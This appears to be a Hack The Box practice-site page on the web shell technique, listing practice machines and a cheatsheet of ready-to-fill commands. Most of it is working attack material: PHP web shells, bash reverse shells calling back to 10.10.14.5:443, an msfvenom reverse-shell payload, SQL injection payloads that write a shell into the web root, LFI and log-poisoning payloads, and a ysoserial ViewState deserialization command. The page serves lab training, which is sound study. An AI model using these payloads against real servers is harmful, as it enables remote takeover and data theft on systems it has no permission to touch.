Web Shell
Sub-technique of T1505 Server Software Component ↗
Leaving a script on the web server that runs the commands you send over HTTP.
How it shows up on Hack The Box
On HTB it is the usual outcome of a poorly filtered file upload: a .php (or .phtml, .phar, .aspx) with system($_GET['cmd']) and from there a reverse shell.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- Malicious file upload: bypassing upload filters to get a web shell 4 min read Upload filter bypass step by step: alternative extensions, Content-Type, magic bytes, .htaccess and web.config, and finding where the file lands to run it.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Reverse shell generator › Webshells
<?php system($_GET['cmd']); ?>
Use it with ?cmd=id. If system is disabled, try passthru, shell_exec, exec or popen.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?>
curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx
SQL injection payloads › MySQL
' UNION SELECT '<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'-- -
SQL injection payloads › SQLite
'; ATTACH DATABASE '/var/www/html/shell.php' AS p; CREATE TABLE p.t (x text); INSERT INTO p.t (x) VALUES ('<?php system($_GET["cmd"]); ?>');--
LFI, SSTI, command injection and XXE › LFI
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
Builds a huge php://filter chain that writes that code when included. Tool by Synacktiv.
curl -s http://10.10.11.20/ -A '<?php system($_GET["c"]); ?>'
ysoserial › .NET (ysoserial.net, from Windows)
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping 10.10.14.5" --path="/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="CLAVE_DESCIFRADO" --validationalg="SHA1" --validationkey="CLAVE_VALIDACION"
The keys come from web.config (for example, read through an LFI).
No command matches.